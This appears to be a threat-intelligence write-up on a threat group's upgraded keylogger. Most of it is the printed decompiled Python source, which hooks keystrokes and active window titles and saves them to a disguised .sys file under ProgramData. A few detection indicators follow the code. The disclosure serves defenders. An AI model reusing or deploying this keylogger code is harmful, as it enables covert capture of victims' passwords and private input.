The 2018 HailMary keylogger upgrade by FORKBOMBO Threat group

Overview

Since last year after the threat group discovered we, OnNet team knew where the logger data was stored, mostly in %ProgramData% , this threat group overhauled their previous Fsociety-keylogger and decided to write a new one.

Previously, the keylogger they used in most of 2018 heists was compiled with an Microsoft Onenote icon and saved as OneNote.exe, which saved files as tarred resources in %ProgramData%

Since mid 2018, the code was change and files were saved as swapfile.usernamecompromised.sys

Below is a de-compiled version of the python code.

import pythoncom
import pyHook
import sys
import logging
import socket
import datetime, time
import os
import win32gui
import threading
from threading import Timer
from threading import Thread
#import shutil
#import ftplib
import base64
import random

LOG_NEWACTIVE=''
LOG_ACTIVE=''
LOG_TEXT=''
now = datetime.datetime.now()
COMPUTER_NAME= socket.gethostname()+" "+ socket.gethostbyname(socket.gethostname()) + ": "

#print COMPUTER_NAME
LOGGED_IN=os.getenv('USERNAME')
FILE_NAME=os.getenv('AllUsersProfile')+"\\" + LOGGED_IN + ".sys"

def randomize_time():
    random_time = 0
    for x in range(7):
        random_time = random.randint(1,10)
    return random_time

def save_logs(txt):
    f = open(FILE_NAME, 'a') # or 'w'?
    f.write(txt)
    f.close()
    LOG_TEXT = ""

def getSystemVersion():
    #print os.environ
    print ""


#==============================  
def hailmary():
    hookme = pyHook.HookManager()
    q=120^2
    hookme.KeyDown = OnKeyboardEvent
    trm=q/2
    hookme.HookKeyboard()
    print trm
    pythoncom.PumpMessages() #will wait forever
    
    return True

def OnKeyboardEvent(event):
    global LOG_NEWACTIVE, LOG_ACTIVE, LOG_TEXT, MAIL_SENT
    LOG_NEWACTIVE=''
    wg=win32gui
    LOG_NEWACTIVE = wg.GetWindowText (wg.GetForegroundWindow())
    if LOG_NEWACTIVE != LOG_ACTIVE:
        #----------
        LOG_TEXT += " " + LOG_NEWACTIVE + " |\n"
        LOG_TEXT += "=" * len(LOG_NEWACTIVE) + "===\n\n"
        #-----------
        LOG_ACTIVE = LOG_NEWACTIVE
        print LOG_NEWACTIVE
        now = datetime.datetime.now()
#-----------------------
##        f = open(FILE_NAME, 'a') # or 'w'?
##        f.write("\n============================================================================= \n")
##        f.write("<<Active Window:"+"<<"+event.WindowName+">>Date<<"+str(now)+">>HOST<<"+COMPUTER_NAME+ ">>USER<<"+ LOGGED_IN+">>\n")
##        f.write("\n=============================================================================\n")
##        f.close()
        LOG_TEXT += "\n============================================================================= \n"
        LOG_TEXT += "<<Active Window:"+"<<"+event.WindowName+">>Date<<"+str(now)+">>HOST<<"+COMPUTER_NAME+ ">>USER<<"+ LOGGED_IN+">>\n"
        LOG_TEXT += "\n=============================================================================\n"
        print LOG_TEXT
#-----------------------

    getSystemVersion()
    LOG_TEXT = ""	
    if event.Ascii == 8: LOG_TEXT += "[Bks]"
    elif event.Ascii == 13 : LOG_TEXT += "[ENT]\n"
    elif event.Ascii == 9: LOG_TEXT += "[Tab]\n"
    elif event.Ascii == 14 or event.Ascii == 15: LOG_TEXT += "[Shift]\n"
    
    else: LOG_TEXT += str(chr(event.Ascii))
    print LOG_TEXT
    #--------------
##    f = open(FILE_NAME, 'a') # or 'w'?
##    f.write(LOG_TEXT)
##    f.close()
    
    return True

def sleeper():
    while True:
        # Get user input
        ##num = raw_input('How long to wait: ')
        global LOG_TEXT
        num = randomize_time()
        print "Waiting time:%s ", num
        # Try to convert it to a float
        try:
            num = float(num)
        except ValueError:
            print('Please enter in a number.\n')
            continue
 
        # Run our time.sleep() command,
        # and show the before and after time
        print('Before: %s' % time.ctime())
        time.sleep(num)
        save_logs(LOG_TEXT)
        print('After: %s\n' % time.ctime())
        

#main loop

S0s = Thread(target=hailmary, args=())
S0s.start()

threadzHz = threading.Thread(target=sleeper, args=())
threadzHz.start()

##zz = Thread(target=data_in_data_out, args=())
##zz.start()


Detection

Currently the logger is saved as deskjet.exe with a HP icon and its copied via SMB service laterally from an RUT backdoor. RUT Backdoors are usually installed by insiders and can be detected, by locating a process called rutserv.exe

With above revelations, we are going to expect a lot of Tactics, Techniques and Procedures, (TTPs) changes by this Threat group especially from their Python coder.